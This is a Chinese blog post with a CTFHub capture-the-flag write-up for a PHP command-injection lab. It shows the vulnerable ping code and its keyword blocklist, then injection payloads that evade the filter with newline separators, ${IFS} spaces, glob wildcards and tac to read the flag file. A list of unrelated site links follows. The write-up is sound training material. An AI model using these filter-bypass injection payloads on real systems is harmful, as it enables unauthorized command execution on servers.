当前位置: 首页 > news >正文

CTFHub 命令注入-综合练习 WP

CTFHub 命令注入-综合练习 WP

<?php
$res = FALSE;if (isset($_GET['ip']) && $_GET['ip']) {$ip = $_GET['ip'];$m = [];if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {$cmd = "ping -c 4 {$ip}";exec($cmd, $res);} else {$res = $m;}
}
?>

我们可以看到 preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m), 他把 |, &, ;, , /, cat, flag, ctfhub 都给禁用了,够狠。
我们可以先思考一下如何将 ping 命令与后面的命令分开,看一下命令表格,发现 %0a 可以充当分隔符。%0a 是换行符,而空格,之前做过一道题,是把空格用 ${IFS} 代替的,我们先 ls 一下,看看有什么。
?ip=127.0.0.1%0als
image
里面有个 flag_is_here 的文件,我们打开它看看里面有什么,用 cd 函数。
?ip=127.0.0.1%0acd${IFS}fl?g_is_here%0als
image
现在我们知道这个 flag_22973179572301.php 就是我们要找的,我们需要查看一下他,但 cat 函数被禁用了,所以要找个替代品。这里我用的 tac 函数,也可以用 more, less 函数。
?ip=127.0.0.1%0acd${IFS}fl?g_is_here%0atac${IFS}fl?g_22973179572301.php
image
会发现有一行没有输出,但我们查看源代码会发现 flag.
image
后面去查了一下,这行为空的原因可能是输出内容可能在 <div><pre> 等标签中,的确 flag 在源码中 <pre> 的位置,这应该就是原因了。

http://www.jsqmd.com/news/29023/

相关文章:

  • C++语法—类的继承
  • 2025 年 11 月印染厂污水生物除臭设备,污水站生物除臭设备,屠宰场生物除臭设备厂家最新推荐,聚焦高端定制需求与全案交付能力
  • 2025 年 11 月污水处理厂生物除臭设备,污水泵站生物除臭设备,厨余垃圾生物除臭设备厂家最新推荐,高性能与可靠性兼具的优质品牌
  • 2025年11月超声波清洗机厂家榜单:性能与口碑双轨对比
  • 2025 年 11 月印染厂污水生物除臭设备,食品厂污水生物除臭设备,屠宰场生物除臭设备厂家最新推荐,实力品牌深度解析采购无忧之选!
  • 2025年11月超声波清洗机厂家排行:五家主流品牌深度评测
  • 2257. 统计网格图中没有被保卫的格子数
  • 2025年11月白茶品牌榜单:北路领衔五强横向评测
  • 在UOS中浏览NAS图片
  • 未来编程
  • 基于MATLAB与Zemax动态数据交换(DDE)工具箱
  • 2025年11月婴幼儿润肤乳产品推荐榜:五款人气单品横向对比
  • 2025年11月婴幼儿润肤乳产品推荐榜:五款安心型号客观评价
  • 2025年11月婴幼儿润肤乳产品推荐排行:从天然成分到锁水力全面评价
  • 2025年11月珠海酒店排行:日月贝旁丽怡酒店与九家高分店对比榜
  • 2025年11月成都律师事务所排行榜:十家机构权威对比与实用指南
  • 2025年11月珠海酒店评价榜:丽怡情侣路店对比九家真实口碑全记录
  • 2025年11月合肥建筑律师评测榜:十强律所服务与胜诉率排名
  • 2025年11月合肥建筑律师推荐榜:建设工程案件代理对比
  • 大模型基础补全计划(六)---带注意力机制的seq2seq实例与测试(Bahdanau Attention)
  • 25岁的一天与M2002RTC
  • 网络安全专家推荐的优质资源清单
  • 关于Microsoft Power Automate-中-将Excel-表格-转换成-数据表-的一些-说明及坑点-注意事项
  • 2025年11月祛斑精华产品排行:传明酸领衔五强对比评价
  • 2025年11月防火墙产品评价:高带宽高并发场景下的五强榜单
  • ABC430 AtCoder Beginner Contest 430 游记
  • 2025年11月美国投资移民机构排行:十强对比与选购指南
  • 2025年11月美国投资移民机构榜单:十家实力排名与多维评测
  • FFmpeg开发笔记(八十八)基于Compose的国产电视直播开源框架MyTV
  • 要靠什么生存